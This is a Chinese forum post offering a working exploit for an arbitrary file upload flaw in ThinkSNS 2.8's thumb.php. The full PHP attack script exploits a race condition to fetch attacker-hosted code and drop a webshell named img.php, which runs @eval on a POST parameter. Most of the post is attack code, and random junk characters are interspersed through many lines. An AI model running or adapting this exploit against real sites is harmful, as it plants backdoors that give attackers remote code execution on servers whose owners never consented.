找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1899|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本
( G, Z2 E9 b3 k/ M$ p2 M存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
) L% T6 n" T  _1 U$ Y漏洞文件  j' l' ]( c/ }/ h+ Z/ C
存在漏洞的文件为:thumb.php
( J6 f" V7 {% r' W( \* u- g作者:韦鲲鹏# h4 D% {' C, t; m' o
1、        准备如下PHP文件并上传到服务器(自己的)。
+ n7 Q; Z, ?: T: y+ k9 H9 v文件内容如下:, w! {+ L- f$ u" q2 W
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
; L/ ~: n  H8 r2、        计算出临时的文件名:
* S; e: b0 g6 a; t! A: \( x这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ p& q+ z3 g# _3 v# p
" L7 M3 _7 {& s% E3、        上传临时文件。* c$ E* q& K$ J4 F
4、        访问临时文件。9 ~: ~  K7 I% J, i
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)/ K4 q- X( D+ `7 H3 p) X4 c! x5 t. L
Exploit文件内容如下:(这个我就不详细解释了)8 E" Z$ Z9 ?3 t  y2 `& W  }
<?php( q3 J! d  k/ ?. x4 U
error_reporting(0);
5 f$ U& N! l* Z0 o; Yset_time_limit(0);
$ O/ H1 _8 F( m$ d& q/ ^* _ini_set(“default_socket_timeout”, 5);
$ c! v. Y: F# e0 M0 O  Z, X) Qfunction http_send($host, $port, $headers) {, r( u" |# K% ~& x" x" z
$fp = fsockopen($host, $port);1 h% J: a& @0 E1 n% k
if (!$fp) die(‘Connection -> fail’);
9 v: }, m3 Q: gfputs($fp, $headers);# R2 R6 ?4 h' n; h; G+ L% F/ E
return $fp;
2 \' s( i8 s4 L5 E; M}
9 q  |; o3 N* }* X' E% y8 j) `& wfunction http_recv($fp) {0 i) ~) O% \/ G* }! A
$ret=”";
0 \# G5 {7 T2 N8 }1 H0 Fwhile (!feof($fp))
3 p8 g9 V) y: ?. z- N" {0 j1 }$ret.= fgets($fp, 1024);0 L; t9 t1 z5 H
fclose($fp);
7 v2 L! q$ q5 K$ M! ]4 kreturn $ret;$ K. [$ o% b, T! f% |8 K
}
' \( `& f+ J" ]print “\n#  ThinkSns Arbitrary File Upload   #\n”;% r; s$ q: y; E" ]/ B
print “# Discovered by 韦鲲鹏 #\n\n”;
0 g* R- w4 j+ |% k5 Gif ($argc < 4) {) j- ]- D4 U2 r  O7 G/ }) C
print “Usage:   php <host> <path> <romote_url>\n”;
$ a6 c+ q7 G. `8 Y2 Yprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;. G4 v# Q) J/ ~- M+ U
die();2 {/ y+ \, P2 g
}) p$ l* q! y% @' p6 {) Q( N
$host = $argv[1];
8 Z1 K) o: E' b. b# z, N) H% d( E$path = $argv[2];
! G- c8 h+ V. N' @5 k1 }$url = $argv[3];
2 N$ g1 M1 k/ ]/ W5 n6 R$i=0;5 j1 F  Y: i5 `, m
//上传数据包! ?4 q& a! O/ R; M9 m. G, b! u& S
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
1 R* N! Z) v3 w1 i+ n2 Q+ S$headers_up .= “Host: “.$host.”\r\n”;
( Z$ u' B7 x7 g4 S2 c5 I3 T" u$headers_up .= “Connection: close\r\n\r\n”;
4 h. _/ P+ I- I! x# yecho $headers_up;2 b+ G8 l- b5 [, ?) k3 J
//临时文件访问数据包% t, S6 Q/ {# z+ S4 V
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;5 f1 e1 L1 ]& C& T0 s* D% J$ C
$headers .= “Host: “.$host.”\r\n”;& g( y0 x% D/ l" x& q8 h8 G5 n
$headers .= “Connection: close\r\n\r\n”;  W% _& p' G2 ?) u' Z% I. R
echo $headers;
: w5 O0 o" ]+ f0 Z* r( k6 _while(++$i<10) {
/ T( B' e( K0 w6 g$ ]/ xfclose(http_send($host, 80, $headers));
9 V2 f- j' D5 @/ B}
1 u. @+ U4 o. hfclose(http_send($host, 80, $headers_up));
9 c+ U/ _1 |- E0 ^8 l. r) \while(++$i<50) {% S) }1 L  l. e; J' f1 N
fclose(http_send($host, 80, $headers));
, z+ i' d; H; _7 T}
) z9 O7 }9 y- Z# k$ G+ m$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
- [* m6 x4 O3 z( f' m$headers .= “Host: “.$host.”\r\n”;$ L; I( r4 F6 x* _3 i( y" F# t
$headers .= “Connection: close\r\n\r\n”;6 C# P' m+ a. V2 y! {2 |6 e
$res=http_recv(http_send($host, 80, $headers));; ?$ H9 M9 f- X: n
if(preg_match(‘/200 OK/’,$res)) {
, R5 R  I! l7 Rprint “Success!\n\n”;4 q" u+ `% y" V1 a
} else {- l! g9 L& y- I
print “Fail!\n\n”;
- Z! b) b( V; i2 A2 L% Y/ w}
8 m; k% k, m6 [, q' E0 D?>
( M7 k/ w  v! @* d' L! u6 v% u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表